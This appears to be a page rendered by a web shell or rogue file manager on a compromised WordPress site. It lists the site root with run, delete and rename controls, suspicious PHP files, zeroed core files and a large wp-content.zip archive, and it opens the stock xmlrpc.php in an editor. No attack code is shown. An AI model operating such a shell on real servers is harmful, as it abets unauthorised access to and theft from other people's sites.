at path：
ROOT
/
demo
/
xmlrpc.php
run：
R
W
Run
.well-known
DIR
2025-12-07 10:15:55
R
W
Run
click
DIR
2025-12-13 08:56:58
R
W
Run
css
DIR
2022-12-10 13:01:53
R
W
Run
images
DIR
2025-10-01 12:19:08
R
W
Run
old
DIR
2021-09-17 07:36:54
R
W
Run
wp-admin
DIR
2023-08-09 03:48:25
R
W
Run
wp-content
DIR
2025-12-12 12:32:57
R
W
Run
wp-includes
DIR
2025-04-15 22:17:18
R
W
Run
.htaccess
513 By
2026-02-17 09:47:48
R
W
Run
Delete
Rename
about.php
0 By
2026-01-10 06:47:34
R
W
Run
Delete
Rename
admin.php
0 By
2026-01-06 01:55:33
R
W
Run
Delete
Rename
chosen.php
0 By
2026-01-11 00:15:19
R
W
Run
Delete
Rename
ex.php
0 By
2026-01-10 06:47:18
R
W
Run
Delete
Rename
index.php
0 By
2026-04-05 00:12:50
R
W
Run
Delete
Rename
inputs.php
0 By
2026-01-10 06:47:29
R
W
Run
Delete
Rename
lock360.php
0 By
2026-01-06 01:41:17
R
W
Run
Delete
Rename
mah.php
0 By
2026-01-09 08:15:29
R
W
Run
Delete
Rename
pages.php
0 By
2026-01-10 06:47:38
R
W
Run
Delete
Rename
radio.php
0 By
2026-01-10 06:47:21
R
W
Run
Delete
Rename
robots.txt
809 By
2026-01-04 09:46:37
R
W
Run
Delete
Rename
wp-activate.php
7.21 KB
2024-04-03 03:47:06
R
W
Run
Delete
Rename
wp-blog-header.php
0 By
2025-10-01 12:19:07
R
W
Run
Delete
Rename
wp-comments-post.php
2.27 KB
2023-08-09 03:48:25
R
W
Run
Delete
Rename
wp-config-sample.php
3.26 KB
2024-11-12 22:18:07
R
W
Run
Delete
Rename
wp-config.php
0 By
2025-10-01 12:19:07
R
W
Run
Delete
Rename
wp-content.zip
268.31 MB
2026-02-17 09:50:43
R
W
Run
Delete
Rename
wp-cron.php
5.49 KB
2024-11-12 22:18:07
R
W
Run
Delete
Rename
wp-links-opml.php
2.44 KB
2023-03-30 03:47:18
R
W
Run
Delete
Rename
wp-load.php
0 By
2025-10-01 12:19:07
R
W
Run
Delete
Rename
wp-login.php
0 By
2026-01-10 06:47:41
R
W
Run
Delete
Rename
wp-mail.php
8.52 KB
2025-04-15 22:17:18
R
W
Run
Delete
Rename
wp-settings.php
0 By
2025-10-01 12:19:07
R
W
Run
Delete
Rename
wp-signup.php
33.71 KB
2025-04-15 22:17:18
R
W
Run
Delete
Rename
wp-sx10.php
0 By
2025-12-20 23:05:08
R
W
Run
Delete
Rename
wp-trackback.php
4.98 KB
2024-11-12 22:18:07
R
W
Run
Delete
Rename
xmlrpc.php
3.13 KB
2025-04-15 22:17:18
R
W
Run
Delete
Rename
xsfkw.php
0 By
2026-01-06 00:23:55
R
W
Run
Delete
Rename
error_log
up
📄
xmlrpc.php
Save
<?php /** * XML-RPC protocol support for WordPress * * @package WordPress */ /** * Whether this is an XML-RPC Request. * * @var bool */ define( 'XMLRPC_REQUEST', true ); // Discard unneeded cookies sent by some browser-embedded clients. $_COOKIE = array(); // $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0. // phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved if ( ! isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } // Fix for mozBlog and other cases where '<?xml' isn't on the very first line. $HTTP_RAW_POST_DATA = trim( $HTTP_RAW_POST_DATA ); // phpcs:enable /** Include the bootstrap for setting up WordPress environment */ require_once __DIR__ . '/wp-load.php'; if ( isset( $_GET['rsd'] ) ) { // https://cyber.harvard.edu/blogs/gems/tech/rsd.html header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?> <rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd"> <service> <engineName>WordPress</engineName> <engineLink>https://wordpress.org/</engineLink> <homePageLink><?php bloginfo_rss( 'url' ); ?></homePageLink> <apis> <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" /> <?php /** * Fires when adding APIs to the Really Simple Discovery (RSD) endpoint. * * @link https://cyber.harvard.edu/blogs/gems/tech/rsd.html * * @since 3.5.0 */ do_action( 'xmlrpc_rsd_apis' ); ?> </apis> </service> </rsd> <?php exit; } require_once ABSPATH . 'wp-admin/includes/admin.php'; require_once ABSPATH . WPINC . '/class-IXR.php'; require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php'; /** * Posts submitted via the XML-RPC interface get that title * * @name post_default_title * @var string */ $post_default_title = ''; /** * Filters the class used for handling XML-RPC requests. * * @since 3.1.0 * * @param string $class The name of the XML-RPC server class. */ $wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' ); $wp_xmlrpc_server = new $wp_xmlrpc_server_class(); // Fire off the request. $wp_xmlrpc_server->serve_request(); exit; /** * logIO() - Writes logging info to a file. * * @since 1.2.0 * @deprecated 3.4.0 Use error_log() * @see error_log() * * @global int|bool $xmlrpc_logging Whether to enable XML-RPC logging. * * @param string $io Whether input or output. * @param string $msg Information describing logging reason. */ function logIO( $io, $msg ) { _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' ); if ( ! empty( $GLOBALS['xmlrpc_logging'] ) ) { error_log( $io . ' - ' . $msg ); } }